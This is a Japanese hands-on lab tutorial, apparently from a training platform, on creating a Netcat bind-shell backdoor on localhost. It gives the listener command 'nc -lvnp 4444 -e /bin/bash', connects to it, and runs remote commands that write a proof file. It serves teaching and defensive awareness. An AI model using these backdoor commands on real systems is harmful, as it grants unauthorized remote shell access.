はじめに
この実験 (Lab) では、多機能なネットワークユーティリティである Netcat を使用して、基本的なバックドアを作成する方法を学びます。バックドアとは、通常の認証を回避してコンピューターへのリモートアクセスを可能にする手法です。この実験では、シミュレートされた「被害者」マシンでリスナーを設定し、シミュレートされた「攻撃者」マシンからそれに接続してリモートでコマンドを実行する練習を行います。この実験は、サイバーセキュリティで使用される基本的なネットワーク概念を実証し、攻撃手法と防御意識の両方についての洞察を提供します。
Netcat の理解
Netcat (または nc) は、TCP または UDP を使用してネットワーク接続の読み書きを行うためのコマンドラインユーティリティです。その汎用性から、「TCP/IP のスイスアーミーナイフ」と呼ばれることもあります。この実験 (Lab) では、セットアップスクリプトによって、目的に適したバージョンの Netcat が既にインストールされています。
まず、Netcat がインストールされていることを確認し、ヘルプメニューを表示して、利用可能なオプションを確認しましょう。
ターミナルで以下のコマンドを実行してください。
nc -h
コマンドオプションのリストが表示されるはずです。出力は以下のようなものになります(バージョンによって異なる場合があります)。
[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
...
-e オプションと -c オプションに特に注意してください。出力では、これらが明確に「危険 (dangerous)」とマークされています。これは、これらのオプションを使用すると、コマンドシェルなどのプログラムを実行し、それをネットワークポートに接続できるためです。これは、まさに私たちがバックドアを作成するために使用する機能です。ツールの機能がなぜ危険と見なされるのかを理解することは、サイバーセキュリティを学ぶ上で重要な部分です。
バックドアリスナーの作成
このステップでは、1 つのターミナルを「被害者」マシンとして設定します。このマシンは、着信接続を待機する Netcat リスナーを実行します。接続が行われると、接続してきたユーザーにコマンドシェルが付与され、実質的にバックドアが作成されます。
この実験ではポート 4444 を使用します。ポートは、マシン上の異なるサービスがネットワーク経由でアクセスできるようにする通信エンドポイントです。
現在のターミナルで、以下のコマンドを実行してリスナーを開始します。
nc -lvnp 4444 -e /bin/bash
このコマンドを分解してみましょう。
-l: Netcat をリスンモードにし、着信接続を待ち受けます。-v: 詳細表示モードを有効にし、接続に関する詳細情報を提供します。-n: Netcat にホスト名を解決する代わりに数値 IP アドレスを使用するように指示します。これにより、処理が速くなる場合があります。-p 4444: リスニングするポートを指定します。この場合はポート4444です。-e /bin/bash: これが最も重要な部分です。クライアントが接続するとすぐに、/bin/bashプログラム(Bash シェル)を実行し、その入出力をネットワークソケットに接続するように Netcat に指示します。
コマンドを実行すると、ターミナルにリスニング中であることを示すメッセージが表示され、その後ハングしたように見えます。これは正常です。現在、接続を待機しています。
listening on [any] 4444 ...
このターミナルは閉じないでください。これは 被害者ターミナル と呼びます。次のステップのために、新しいターミナルを開く必要があります。
バックドアへの接続
次に、「攻撃者」の役割を担います。新しいターミナルを開き、Netcat を使用して前のステップで開始したリスナーに接続します。この実験では「被害者」と「攻撃者」は同じマシン上にあるため、localhost の IP アドレスである 127.0.0.1 に接続します。
まず、新しいターミナルを開きます。ターミナル領域を右クリックして「新しいタブ」を選択するか、ショートカット Ctrl+Shift+T を使用して行うことができます。この新しいターミナルを 攻撃者ターミナル と呼びます。
新しい 攻撃者ターミナル で、以下のコマンドを実行してリスナーに接続します。
nc 127.0.0.1 4444
このコマンドを実行すると、被害者ターミナル に接続メッセージが表示されます。
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33333
(ポート番号 33333 はランダムな高位ポートになります)
あなたの 攻撃者ターミナル には、プロンプトはありませんが、カーソルが点滅しているはずです。これは、あなたが現在 被害者ターミナル で実行されている Bash シェルの中にいるためです。リモートシェルを正常に確立しました。ここで入力するコマンドはすべて「被害者」マシンで実行されます。
リモートコマンドの実行
これでリモートシェルが利用可能になりました。攻撃者ターミナル からいくつかのコマンドを実行してテストしてみましょう。これらのコマンドは、被害者ターミナル のコンテキスト内で実行されます。
攻撃者ターミナル で、以下のコマンドを入力して Enter キーを押します。
whoami
出力は labex となり、これは被害者シェルのユーザーアカウントです。
labex
次に、リモートシェルの現在の作業ディレクトリを確認しましょう。
pwd
出力は labex ユーザーのホームディレクトリを示します。
/home/labex/project
制御できていることを証明するために、「被害者」システム上にファイルを作成してみましょう。攻撃者ターミナル でこのコマンドを実行します。
echo "Backdoor was here" > /tmp/proof.txt
このコマンドは、/tmp ディレクトリに proof.txt という名前のファイルを作成し、その中にテキストを書き込みます。出力は表示されません。
では、ファイルが作成されたことを確認しましょう。攻撃者ターミナル で、ファイルのコンテンツを読み取ります。
cat /tmp/proof.txt
先ほど書き込んだテキストが表示されるはずです。
Backdoor was here

リモートでコマンドを実行し、被害者のファイルシステムを変更することに成功しました。セッションを終了するには、攻撃者ターミナル で Ctrl+C を押します。これにより接続が閉じられ、被害者ターミナル の Netcat リスナープロセスも終了します。
まとめ
この実験では、Netcat を使用してシンプルなバックドアを作成し、操作する方法を学びました。コマンドシェルを提供するために、-l、-p、-e フラグを使用して「被害者」マシンでリスナーを設定する練習をしました。その後、「攻撃者」として別のターミナルからこのリスナーに接続し、リモートでコマンドを実行しました。
この演習は、Netcat の強力でありながら危険な機能を示しています。このようなツールが不正アクセスにどのように使用されるかを理解することは、サイバーセキュリティにおける基本的なスキルであり、同様の現実世界の攻撃をより良く認識し、防止し、防御するのに役立ちます。



